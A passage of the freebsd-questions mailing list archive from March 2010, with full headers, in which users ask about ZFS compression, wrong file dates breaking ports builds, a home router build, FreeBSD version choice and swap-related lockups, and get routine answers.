email1.allantgroup.com (email1.emsphone.com [199.67.51.115]) by mx1.freebsd.org (Postfix) with ESMTP id AC9498FC15 for ; Thu, 11 Mar 2010 17:53:13 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by email1.allantgroup.com (8.14.0/8.14.0) with ESMTP id o2BHrAxi014487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 11 Mar 2010 11:53:10 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.4/8.14.3) with ESMTP id o2BHr9MU086391 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 11 Mar 2010 11:53:09 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.4/8.14.3/Submit) id o2BHr8MZ086338; Thu, 11 Mar 2010 11:53:08 -0600 (CST) (envelope-from dan) Date: Thu, 11 Mar 2010 11:53:08 -0600 From: Dan Nelson To: Leslie Jensen Message-ID: <20100311175307.GA4528@dan.emsphone.com> References: <4B980792.3050103@eskk.nu> <4B981934.9090904@comcast.net> <4B98CA26.4050609@eskk.nu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B98CA26.4050609@eskk.nu> X-OS: FreeBSD 7.3-PRERELEASE User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: clamav-milter 0.95.3 at email1.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (email1.allantgroup.com [199.67.51.78]); Thu, 11 Mar 2010 11:53:10 -0600 (CST) X-Scanned-By: MIMEDefang 2.45 Cc: Steve Polyack , freebsd-questions@freebsd.org Subject: Re: Does compression on zfs pool affect performance? .......WAS, Re: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 17:53:14 -0000 In the last episode (Mar 11), Leslie Jensen said: > The solution for me was to create a raidz which gave me the same amount of > space. Now I wonder, should I enable compression? Will it affect > performance? The default lzjb compression is very fast and won't consume much CPU. If you have lots of easily-compressabe data it should improve performance. > Later I want to share this pool with SAMBA. Will SAMBA see the pool as a > filesystem? I don't think Samba cares about the filesystem layout, since it's a userland daemon. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 18:37:12 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BA1B81065670 for ; Thu, 11 Mar 2010 18:37:12 +0000 (UTC) (envelope-from wblock@wonkity.com) Received: from wonkity.com (wonkity.com [67.158.26.137]) by mx1.freebsd.org (Postfix) with ESMTP id 75EB08FC0C for ; Thu, 11 Mar 2010 18:37:12 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.3/8.14.3) with ESMTP id o2BIbBP2062087; Thu, 11 Mar 2010 11:37:11 -0700 (MST) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.3/8.14.3/Submit) with ESMTP id o2BIbB63062084; Thu, 11 Mar 2010 11:37:11 -0700 (MST) (envelope-from wblock@wonkity.com) Date: Thu, 11 Mar 2010 11:37:11 -0700 (MST) From: Warren Block To: Richard DeLaurell In-Reply-To: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> Message-ID: References: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (wonkity.com [127.0.0.1]); Thu, 11 Mar 2010 11:37:11 -0700 (MST) Cc: "mail.list freebsd-questions" Subject: Re: problems w/ touching all files? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 18:37:12 -0000 On Thu, 11 Mar 2010, Richard DeLaurell wrote: > I made a big mistake the upshot of which is that many of my files (including > many port/makefiles) have the wrong date. Which date, where? Modification date? What is the wrong value they have now? > As a result, I get a lot of failures when trying to install from ports. Please show an example. -Warren Block * Rapid City, South Dakota USA From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 19:08:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 87964106564A for ; Thu, 11 Mar 2010 19:08:46 +0000 (UTC) (envelope-from mahlerrd@yahoo.com) Received: from web51002.mail.re2.yahoo.com (web51002.mail.re2.yahoo.com [206.190.38.133]) by mx1.freebsd.org (Postfix) with SMTP id 2B2E28FC14 for ; Thu, 11 Mar 2010 19:08:45 +0000 (UTC) Received: (qmail 32448 invoked by uid 60001); 11 Mar 2010 19:08:45 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1268334525; bh=KWv9AiWDMO2J/UGykjnaCl5zp8fp/UIMR0We/a0wJLY=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:References:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=QJklzIdSxDe2K47fkiZPJXDEpaMsZTIt7Mamuz3rXYlUT9wWC5YRUaU21Gv/vqtLS2g1MwBP2gtknu9+t8nf4WcYE3MjXjp3ds4lN0Lp8q0vCM/TxSHVndd5svjCG/SFAAgHy0q3dtcftehUUql708qcsda+y+Lup6yphvk9TuE= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:References:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=OlfbinvInl2NlXal4AlMDZu2Y9APOZUH6IuH7tYjF8nN6MnnCZvqLksAswBe2CXSzACFI6ztRuVK/qpA7QnPhCQ0LuRmMk+/JF0v+1O6gyqo+vKmmqcCpgWxochA3k6pinewxbfzd7YVNK+cjDqhMCAtKhnmUxCQfQF5570HxEA=; Message-ID: <339129.31373.qm@web51002.mail.re2.yahoo.com> X-YMail-OSG: aE7Sq54VM1kJzOSWDhf.6tu8ejxMVbJZrvdn3gjzMKzMf1P EFpJrEDB64hkqaZFgYIHdjh5sQKmeCvyzxG1Vz.vTcviTWO1qokGt6dI8GOk FAVsCaWMkSSmrB2zea3aHUdPGrz31F0Rz0z4D9elXBcts3MR9Csm.ovi5p68 Cpukj6KWurO0aDSK_zcb7Uo6KP4_y4kcUqyPxdcBZIqxHe.Nl.LPoNf9sAmL HfIvEAzo6XvnrnXSwDZUtZnz9ZCHlyQn3rzHo3_wIerqCpUQ5DBwtFUxPbWc fEjOWo5hej62Q3rklWv4n4RN1kbkIW8B1Xad9eP6qlDtdukIbH69lUrOswNt FYQXzUpdskeOskB0lufNzNfVDZ99sdEEpJQ-- Received: from [208.95.208.226] by web51002.mail.re2.yahoo.com via HTTP; Thu, 11 Mar 2010 11:08:45 PST X-Mailer: YahooMailRC/300.3 YahooMailWebService/0.8.100.260964 References: <4B980792.3050103@eskk.nu> <4B981934.9090904@comcast.net> <4B98CA26.4050609@eskk.nu> <20100311175307.GA4528@dan.emsphone.com> Date: Thu, 11 Mar 2010 11:08:45 -0800 (PST) From: Richard Mahlerwein To: freebsd-questions@freebsd.org In-Reply-To: <20100311175307.GA4528@dan.emsphone.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: Does compression on zfs pool affect performance? .......WAS, Re: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Richard Mahlerwein List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 19:08:46 -0000 >----- Original Message ---- >From: Dan Nelson >In the last episode (Mar 11), Leslie Jensen said: >> The solution for me was to create a raidz which gave me the same amount of >> space. Now I wonder, should I enable compression? Will it affect >> performance? > >The default lzjb compression is very fast and won't consume much CPU. If >you have lots of easily-compressabe data it should improve performance. In informal testing I have found it depends on a lot of factors but is often a net gain. For instance, writes during testing in a VM running FBSD8 w/ ZFS writing to an attached single test "drive" on my not-terribly-fast XP laptop showed a significant improvement when I enabled compression on an FS, jumping from about 5 MB/s to easily 8+ MB/s. In testing at work on a FBSD8 guest on an ESX3.5 host running on a blade backed by a lightly loaded set of 24 15krpm drives, I found enabling compression didn't change much unless I tossed more than a single processor at it, at which point the gains were more tangible though not spectacular. I would suspect that it depends on the ratio of the speed of your CPU to the speed of your hard disk subsystem. Faster CPUs with slower disks will benefit more, slow CPUs with fast disks may even slow down. Obviously, what constitutes "Fast" and "Slow" is the big sticking point. :) From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 19:46:16 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 159DB106564A for ; Thu, 11 Mar 2010 19:46:16 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id DED7C8FC0C for ; Thu, 11 Mar 2010 19:46:15 +0000 (UTC) Received: by pwj4 with SMTP id 4so225829pwj.13 for ; Thu, 11 Mar 2010 11:46:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=S+eL+uGTh3Ou6SMQjuT1FddX/H9MP3skJkVOI6on3lc=; b=wEpWomurk3Jrhui5TvxiZoZUMnzvE8gT5mO88k6VtH3/okYGo2TikVVSfupyaYmdJD FjGqPVU5anRt9Nd1iKAPNpK/TRBPASQcvzMaxtTwAH2hrLS81ZngvQ4p4hPJoEdfsbx6 uV38ASvVZCJhR4WX9H3fDFmaw14RmhY6Cf9c0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=cTftmSI+KvivWDpcGwdojHfirCgXiwuEVi201uP6ACrPq/wRv7A+vd9zq/v+spe6ss ysM6Afv7PdAkZmieByZnmZTD1h3Hiz9XyvjaYTRMnKw/Lhqw3udWuMY0z1WVH7Cp53fG uMF5FMU335xn0WMMrIcE1avvdm9pjgrnPdu/s= MIME-Version: 1.0 Received: by 10.143.24.41 with SMTP id b41mr1584536wfj.98.1268336775196; Thu, 11 Mar 2010 11:46:15 -0800 (PST) In-Reply-To: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> References: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> Date: Thu, 11 Mar 2010 13:46:15 -0600 Message-ID: <6201873e1003111146u488a1353r92342e9fd870fb87@mail.gmail.com> From: Adam Vande More To: Richard DeLaurell Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: "mail.list freebsd-questions" Subject: Re: problems w/ touching all files? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 19:46:16 -0000 On Thu, Mar 11, 2010 at 11:05 AM, Richard DeLaurell < richard.delaurell@gmail.com> wrote: > I made a big mistake the upshot of which is that many of my files > (including > many port/makefiles) have the wrong date. > > As a result, I get a lot of failures when trying to install from ports. > > I can get around it by temporarily setting the date, building the port, > then > resetting the date, but it is still inconvenient. > > I would rather not do a clean install at this point, but am wondering if > "touching" all of the files on my system would solve this problem WITHOUT > creating any new ones? > > If it would, what might those new complications be? > > As I say, it is not mission-critical at this point, but it would be helpful > to fix this. > > Thanks for any help. > maybe try a portnsnap fetch extract, touch -m should help on /usr/ports/distfiles/ -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 22:37:20 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E678106564A for ; Thu, 11 Mar 2010 22:37:20 +0000 (UTC) (envelope-from arab@tangerine-army.co.uk) Received: from smtp-out5.blueyonder.co.uk (smtp-out5.blueyonder.co.uk [195.188.213.8]) by mx1.freebsd.org (Postfix) with ESMTP id 218A88FC12 for ; Thu, 11 Mar 2010 22:37:19 +0000 (UTC) Received: from [172.23.170.138] (helo=anti-virus01-09) by smtp-out5.blueyonder.co.uk with smtp (Exim 4.52) id 1Npr0I-0005qw-6A; Thu, 11 Mar 2010 22:37:18 +0000 Received: from [94.168.170.102] (helo=Mercury.galaxy.lan.lcl) by asmtp-out4.blueyonder.co.uk with esmtp (Exim 4.52) id 1Npr0H-0007t5-II; Thu, 11 Mar 2010 22:37:17 +0000 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 11 Mar 2010 22:37:17 -0000 Message-ID: <01FB8F39BAD0BD49A6D0DA8F7897392904F779@Mercury.galaxy.lan.lcl> In-Reply-To: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> X-MimeOLE: Produced By Microsoft Exchange V6.5 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Replacing Home Router With PC Thread-Index: AQHKwLvfOh1AEowgTkSG1hMXgwGFdJHtVLgA References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> From: "Graeme Dargie" To: "mailinglist" , Cc: Subject: RE: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 22:37:20 -0000 -----Original Message----- From: mailinglist [mailto:mailinglist@ucwv.edu]=20 Sent: 11 March 2010 01:36 To: freebsd-questions@freebsd.org Subject: Replacing Home Router With PC I've got an old Linksys router hanging off of my cable modem that is several years old and is about to die (very poor wireless throughput should be 54 mb and is 2, runs hot, and "buzzes" while turned on). I've got an older PC that would great as a router....however I also need it to be a wireless access point for my house. It has a PCI wireless network card (A 54G Belkin, not sure of the exact model). I know FreeBSD is technically capable for acting as my DHCP, DNS, router, gateway box if properly configured. The question is, can it use that wireless card to act as a access point instead of a client (how the card is intended to be used)? Also, any links anyone can provide on how to setup a FreeBSD box to act as home router/gateway would be much appreciated! _______________________________________________ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" Might well be worth having a look at pfsense as a router option, thought I can't vouch for the support for your wireless card, I took the easy option and configured the old wireless router as an access point. Regards Graeme From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 16:30:53 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BECB2106566B for ; Thu, 11 Mar 2010 16:30:53 +0000 (UTC) (envelope-from vishal.vinix@gmail.com) Received: from mail-pz0-f199.google.com (mail-pz0-f199.google.com [209.85.222.199]) by mx1.freebsd.org (Postfix) with ESMTP id 965068FC16 for ; Thu, 11 Mar 2010 16:30:53 +0000 (UTC) Received: by pzk37 with SMTP id 37so125575pzk.7 for ; Thu, 11 Mar 2010 08:30:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=jaWzmjncF7Wu5MhpKeFVbY6Em6FpimyaBn+c9lYzJtU=; b=fY8hgrD3RNoB5UBOn9vU/FnvOV4sSbRera7U9fiv/XjrQQk+nWqsn2+6syEmC4t0Ji ZV7hYq2ULDCx2Ubo3nBEbYmCIpwRP6RvDbLhxONqfqB8kjgm0OSLfT/ZnIFQI79WH5gJ gHlR0V1e34hiz59raYBSgsHeKcndgXE/RwNXw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=oaUYUovtXXnwI7vj7fusxnvHq5MGcuw4YROTGpUDLNCngPkJqwTFmHEEI+njK7a0Sd iy6pdvf9hvpdcbV6cVCyygDoodCI7CwLqxM4cq5I/ghv+s8yHxgWeT3zTZp9SegODv6Z t9efY/F7BbIeosqdLt0CiM8EqkarWVywSDLy0= MIME-Version: 1.0 Received: by 10.141.125.6 with SMTP id c6mr1884820rvn.59.1268323698821; Thu, 11 Mar 2010 08:08:18 -0800 (PST) Date: Thu, 11 Mar 2010 21:38:18 +0530 Message-ID: From: Vishal Kashyap To: freebsd-questions@FreeBSD.org X-Mailman-Approved-At: Thu, 11 Mar 2010 22:48:13 +0000 Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: About Which Version I'll Use? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 16:30:53 -0000 Respected Sir, I am a MCA student. and i'd like to install FreeBSD for development purpose on my system. But, I've no more information about hardware portion. So, Please guide me about that. Here, I am sending you my System's hardware profile; which is, AMD Athlon Dual Core 7750 Kingston 2 Gb DDR2 RAM Maxtor 250 Gb IDE HDD nVIDIA 9500 GT Graphics Card nVIDIA NIC Creative Sound Blaster Audigy 5.1 (Sound Card) As of my assumptions, FreeBSD Release 8.0 i386 can easily be installed on my system. Am I right, sir? Or should I use amd64 version of FreeBSD? Please Help Me. I am waiting for your reply. So, please reply me as soon as possible to you. -- Thanks And Regards, Vishal Kashyap. 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Skype: jvssolutions www.joodtelecomgroup.com From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 23:03:20 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D6D75106566C for ; Thu, 11 Mar 2010 23:03:20 +0000 (UTC) (envelope-from djackson452@gmail.com) Received: from mail-px0-f200.google.com (mail-px0-f200.google.com [209.85.216.200]) by mx1.freebsd.org (Postfix) with ESMTP id A852F8FC0C for ; Thu, 11 Mar 2010 23:03:20 +0000 (UTC) Received: by pxi38 with SMTP id 38so158081pxi.27 for ; Thu, 11 Mar 2010 15:03:20 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=k/7IgVn+bpb8n6Y5G3X+n95LyP/ZEz0hvW2w8qDhfTI=; b=kTeaQbdIeR1W0Wz2YhPdx2b0A+46jGiMosy3bHx98NcG2DpURpbrH5iQs6hhWTz4TI NH64XT6LyqlSoZd/QeqDAalxUeUoL5pl0mqRoRO2o6M+XV1e4ukRFA6UUvIJShz8YtM1 elBkmLiI3A3Pcuvgr1CzUzdxna0VWaPr5cLXQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; b=ukfW1Tl8NPr23ubqOWJ5MmoVHau78R1piY/AX/ECTi5gLnePDoxAkmQL39c+vvNqOC zAmmO9H9+gdOQgY72wyDO0I5MH8rOy/HeQc/De6IUc/YV0yuX1gXs3qMBMKIIi7yoLbx 9hon+yb6RHorOhBmuwNf3IRijDvAhLN/wV8/g= Received: by 10.142.9.10 with SMTP id 10mr1806262wfi.177.1268348600184; Thu, 11 Mar 2010 15:03:20 -0800 (PST) Received: from [192.168.1.103] (pool-96-254-203-152.tampfl.fios.verizon.net [96.254.203.152]) by mx.google.com with ESMTPS id 23sm159775yxe.20.2010.03.11.15.03.18 (version=TLSv1/SSLv3 cipher=RC4-MD5); Thu, 11 Mar 2010 15:03:19 -0800 (PST) Message-ID: <4B997730.8070009@gmail.com> Date: Thu, 11 Mar 2010 18:05:20 -0500 From: David Jackson User-Agent: Thunderbird 2.0.0.22 (Windows/20090605) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4B952B38.70308@gmail.com> In-Reply-To: <4B952B38.70308@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 23:03:21 -0000 David Jackson wrote: > I am still having severe problems with severe system instabilities > with FreeBSD and have had these problrms in 7.1 and 8.0. The system > randomly locks up, it appears applications lock up when they access > the USb disk. Also, when accessing the USB disk, the entire system > lockup often for minutes. Performance with accessing USB disks is > horrendous,. it took 7 hours to copy a directory that was 200 MB. Any > program that accesses the USB disk tend to freeze for minutes, and > often the entire system becomes unresponsive for minutes. Overall > FreeBSD here is characterized by severe instabilities, ive had better > performance from Windows 98 systems. The fact that the entire system > freezes up, this should not happen, a well designed system will not > lock up the entire OS when accessing disk. > > Are there any diagnostic tools uch as getting a log of tranmissions on > USB and probe it, ,or finmd out what code it is lockilng up on ?Has > anyone else seen these problems with USB disks? Thank you for the reply to my concerns. I have been reading through them carefully. I seem to have also discovered that the lockup problems are not entirely due to USB issues. Many of them were being caused by an apparent problem with the swap system. I have two swaps, a file backed swap and a partition swap on the same disk. Apparently when having two swaps on the disk there are severe performance problems. FreeBSD needs to fix whatever is causing this thrashing problem. So far the lockups have seem to become much less severe since i have disabled the file based swap file. I may disable the partition swap but i do not know if it is possible to have the system boot with a file based swap only. Perhaps i can disable the partition swap after it boots. I am trying to copy a directory on the USB drive however and it does seem to be rather slow still. It started at 5:45 and is still going. I will see how long it takes. Again thanks for the help with these issues From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 23:14:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8B19E106566B for ; Thu, 11 Mar 2010 23:14:23 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from asmtpout030.mac.com (asmtpout030.mac.com [17.148.16.105]) by mx1.freebsd.org (Postfix) with ESMTP id 72E1C8FC15 for ; Thu, 11 Mar 2010 23:14:23 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=us-ascii Received: from cswiger1.apple.com ([17.209.4.71]) by asmtp030.mac.com (Sun Java(tm) System Messaging Server 6.3-8.01 (built Dec 16 2008; 32bit)) with ESMTPSA id <0KZ500G9J4JHFU60@asmtp030.mac.com> for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 15:14:06 -0800 (PST) X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 ipscore=0 phishscore=0 bulkscore=0 adultscore=0 classifier=spam adjust=0 reason=mlx engine=5.0.0-0908210000 definitions=main-1003110221 From: Chuck Swiger In-reply-to: <4B997730.8070009@gmail.com> Date: Thu, 11 Mar 2010 15:14:05 -0800 Message-id: References: <4B952B38.70308@gmail.com> <4B997730.8070009@gmail.com> To: David Jackson X-Mailer: Apple Mail (2.1077) Cc: freebsd-questions@freebsd.org Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 23:14:23 -0000 On Mar 11, 2010, at 3:05 PM, David Jackson wrote: [ ... ] > I seem to have also discovered that the lockup problems are not entirely due to USB issues. Many of them were being caused by an apparent problem with the swap system. I have two swaps, a file backed swap and a partition swap on the same disk. Apparently when having two swaps on the disk there are severe performance problems. FreeBSD needs to fix whatever is causing this thrashing problem. You're going to notice performance problems if you are paging heavily regardless of other factors. And the fine documentation recommends placing only one swap partition per disk (or controller): http://www.freebsd.org/doc/handbook/configtuning-initial.html "On larger systems with multiple SCSI disks (or multiple IDE disks operating on different controllers), it is recommend that a swap is configured on each drive (up to four drives). The swap partitions should be approximately the same size. The kernel can handle arbitrary sizes but internal data structures scale to 4 times the largest swap partition. Keeping the swap partitions near the same size will allow the kernel to optimally stripe swap space across disks." It might be reasonable for swapon to log or print a warning if it notices multiple swap partitions (or swapfiles) on the same underlying hardware device.... Regards, -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 23:16:36 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AA32D1065673 for ; Thu, 11 Mar 2010 23:16:36 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 7E1898FC19 for ; Thu, 11 Mar 2010 23:16:36 +0000 (UTC) Received: by pwj4 with SMTP id 4so346463pwj.13 for ; Thu, 11 Mar 2010 15:16:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=f6f0LPVbsm00yJH1XRcRW7l7dqPEPGrCiY7w1ZzTIDo=; b=blT2MEZr9yFgyaDc4Ydo/UBVJgMEmy5ZvO7hAj85OyrpuoGl1r2n0/1MtOuLxjVHpq poqNXfOokl38WrXwJLum5bkBVwMmKmLKhdny6Cg4qd3v9MOhC816N3YBwHk9lRMP98qk 0gOvfUNa2f0xn/nya0oZB7/ZR8qaauQSjA8HU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=A/ZJCkSY6zhfs4IOgqBhMk4hWLMRPdTMllnCIa9awhLAWWGk/qoUGT6UhVWGwV4PsL gAh1ZTheUGh6wb7PhYAQ2sw9cZbOVS8mF8B7VlmvPdI+uSJ+S/hGAZtrBdp0cMhvYV2I YnUG92XuWattqRYf1RwEDYTU2tfp6xYX09Wns= MIME-Version: 1.0 Received: by 10.142.60.15 with SMTP id i15mr1784946wfa.301.1268349395858; Thu, 11 Mar 2010 15:16:35 -0800 (PST) In-Reply-To: <4B997730.8070009@gmail.com> References: <4B952B38.70308@gmail.com> <4B997730.8070009@gmail.com> Date: Thu, 11 Mar 2010 17:16:35 -0600 Message-ID: <6201873e1003111516r6aac4555t407ea1e4522c4749@mail.gmail.com> From: Adam Vande More To: David Jackson Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 23:16:36 -0000 On Thu, Mar 11, 2010 at 5:05 PM, David Jackson wrote: > David Jackson wrote: > >> I am still having severe problems with severe system instabilities with >> FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly >> locks up, it appears applications lock up when they access the USb disk. >> Also, when accessing the USB disk, the entire system lockup often for >> minutes. Performance with accessing USB disks is horrendous,. it took 7 >> hours to copy a directory that was 200 MB. Any program that accesses the USB >> disk tend to freeze for minutes, and often the entire system becomes >> unresponsive for minutes. Overall FreeBSD here is characterized by severe >> instabilities, ive had better performance from Windows 98 systems. The fact >> that the entire system freezes up, this should not happen, a well designed >> system will not lock up the entire OS when accessing disk. >> >> Are there any diagnostic tools uch as getting a log of tranmissions on USB >> and probe it, ,or finmd out what code it is lockilng up on ?Has anyone else >> seen these problems with USB disks? >> > Thank you for the reply to my concerns. I have been reading through them > carefully. > > I seem to have also discovered that the lockup problems are not entirely > due to USB issues. Many of them were being caused by an apparent problem > with the swap system. I have two swaps, a file backed swap and a partition > swap on the same disk. Apparently when having two swaps on the disk there > are severe performance problems. FreeBSD needs to fix whatever is causing > this thrashing problem. So far the lockups have seem to become much less > severe since i have disabled the file based swap file. I may disable the > partition swap but i do not know if it is possible to have the system boot > with a file based swap only. Perhaps i can disable the partition swap after > it boots. > > I am trying to copy a directory on the USB drive however and it does seem > to be rather slow still. It started at 5:45 and is still going. I will see > how long it takes. > > > Again thanks for the help with these issues It's unclear how this system is being used, 